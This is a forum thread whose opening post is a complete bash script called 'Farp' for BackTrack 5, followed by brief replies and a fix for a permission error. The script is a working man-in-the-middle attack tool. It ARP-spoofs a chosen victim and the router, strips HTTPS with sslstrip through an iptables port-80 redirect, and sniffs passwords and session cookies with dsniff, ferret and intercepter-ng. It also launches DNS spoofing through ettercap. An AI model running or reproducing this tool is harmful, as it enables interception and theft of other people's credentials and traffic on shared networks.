Farp, The fast Arp and dns tool
Code:
#!/bin/bash
#this is Farp 1.2
#you have to have sslstrip installed
#also this will only work on Backtrack 5 r3 possibly other r's of 5
#you can save this text to a file called farp and chmod +x farp
#please launch with this command for everything to look right (hopefully):
#gnome-terminal --geometry=78x6+620+630 -e /where/you/put/farp
IPNUMF=$(ifconfig | grep Bcast)
IPNUM=${IPNUMF:20:14} ###define the ip address
#echo $IPNUM
DECCOUNT="0"
CHARPLACE="0"
DECPLACE="1"
while [ $DECCOUNT != "3" ] ###define the last decimal place
do
CHARPLACE=$(expr $CHARPLACE + 1)
DECPLACE=$(expr $DECPLACE + 1)
IPCHAR=${IPNUM:$CHARPLACE:1} ###this is the char by char scan code
if [ $IPCHAR = "." ] ###define the decimal places
then
DECCOUNT=$(expr $DECCOUNT + 1)
fi
done
ENET=${IPNUM:0:$DECPLACE} ###define the numbers up to the last decimal
#echo "your network is: $ENET"
NODENUM=${IPNUM:$CHARPLACE:3} ###define the numbers after last decimal
#echo "your node is: $NODENUM"
#NICF=$(/pentest/sniffers/intercepter-ng/intercepter_linux -h | grep "IP2" -B 2)
#echo $NICF
#NIC=${NICF:0:6}
NICF=$(ifconfig | grep Bcast -B 1) ###define the connected interface
NIC=${NICF:0:8}
#echo $NIC
AROUTR=$(route -n | grep $NIC)
NODER=$(expr $DECPLACE + 3)
ROUTRF=${AROUTR:16:$NODER}
ROUTR=${ROUTRF:$DECPLACE:3}
ROUTR=$(expr $ROUTR + 1)
ROUTR=$(expr $ROUTR - 1)
ROUTR=$ENET$ROUTR ###define the router ip
INTRCF=$(/pentest/sniffers/intercepter-ng/intercepter_linux -h | grep "IP2" -B 3)
INTRC=${INTRCF:10:2} ###define intercepter interface number
trap trapeze 2
displayr (){
clear
echo """
###############################
# Farp V 1.2 #
# Ultra fast ARP & DNS Spoofer #
# by BadAcid #
############################### """
#if [ $SSLDO = "y" ]
# then
xterm -geometry 71x05+600+400 -e "sslstrip -f -k" &
#fi
xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t $TARG $ROUTR" &
xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t $ROUTR $TARG" &
xterm -geometry 50x5+600+500 -e "dsniff -i $NIC" &
xterm -geometry 220x21+0+320 -e "/pentest/sniffers/hamster/ferret -i $NIC" &
gnome-terminal --geometry 190x18+0+0 -e "/pentest/sniffers/intercepter-ng/intercepter_linux $INTRC 3" &
sleep 2
clear
}
dnsspoofr (){
echo "[*] DNS SPOOFING TIME £-P"
read -p " [>] TARGET IP/RANGE: $ENET" TARGR
TARG=$ENET$TARGR
ettercap -T -q -i $NIC -P dns_spoof -M arp /$ROUTR/ /$TARG/
}
trapeze (){ ###exit function
clear
xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t 0.0.0.0 $TARG" &
xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t 0.0.0.0 $ROUTR" &
sleep 0.5
killall dsniff
killall urlsnarf
killall arpspoof
killall sslstrip
killall ferret
killall intercepter_linux
echo 0 > /proc/sys/net/ipv4/ip_forward
clear
echo """
###############################
# Farp V 1.2 #
# Ultra fast ARP & DNS Spoofer #
# by BadAcid #
#####[*] Reseting ARP tables... """
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sleep 3
clear
echo "[*] ARP tables restored"
echo "[*] All systems have been shut down."
echo "[*] Press Alt+f4 to clear windows, Goodbye!"
}
echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables --flush
# iptables --table nat --flush
# iptables --delete-chain
# iptables -P FORWARD ACCEPT
# iptables --table nat --delete-chain
# iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
# echo "[*] IP forwarding enabled"
#read -p " [>] Do you want to enable sslsrtip [Y/n]: " SSLSTP
#if [ $SSLSTP = "n" ]
#then
#SSLDO="n"
#else
SSLDO="y"
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables -P FORWARD ACCEPT
iptables --table nat --delete-chain
iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# echo "[*] Sslstrip ready..."
# fi
echo
read -p " [>] TARGET IP: $ENET" TARGR #### <<user input needed to attack
TARG=$ENET$TARGR
#ping -c 1 $TARG
clear
displayr
while [ true ]
do
MOR="y"
if [ $MOR = "y" ]
then
echo " [>] press CTRL+C to exit"
echo ' [>] press "d" and then ENTER for DNS spoofing'
echo ' [>] press "k" and then ENTER to restore ARP tables'
read -p " [>] TARGET IP: $ENET" TARGF #### <<user input needed to attack
if [ $TARGF -z ]
then
clear
break
elif [ $TARGF = "k" ]
then
clear
echo "[*] Reseting ARP tables..."
killall arpspoof
sleep 3
clear
echo "[*] ARP tables restored"
elif [ $TARGF = "d" ]
then
clear
dnsspoofr
END="1"
break
#dnsspoof -f /root/dnsspoof host $TARG1 and udp port 53
elif [ $TARGF = "D" ]
then
clear
dnsspoofr
END="1"
break
#ettercap -T -q -i $NIC -P dns_spoof -M arp /$TARG1/ /$ROUTR/
#dnsspoof -f /root/dnsspoof host $TARG1 and udp port 53
else
clear
TARG=$ENET$TARGF
echo
echo
clear
xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t $ROUTR $TARG" &
xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t $TARG $ROUTR" &
echo "[*] ATTACKING $TARG"
fi
fi
done
if [ $END != "1" ]
then
trapeze
fi
Re: Farp, The fast Arp and dns tool
I would recommend you use CODE tags to separate the code from the actual post and also add a small description about what the script does and it's features.
Respuesta: Farp, The fast Arp and dns tool
Hi, how works?
I run the script and i got: ./farp.sh: line 47: /pentest/sniffers/intercepter-ng/intercepter_linux: Permission denied
Thanks
Re: Respuesta: Farp, The fast Arp and dns tool
Quote:
Originally Posted by
FettMaster
Hi, how works?
I run the script and i got: ./farp.sh: line 47: /pentest/sniffers/intercepter-ng/intercepter_linux: Permission denied
Thanks
chmod +x /pentest/sniffers/intercepter-ng/intercepter_linux
Re: Farp, The fast Arp and dns tool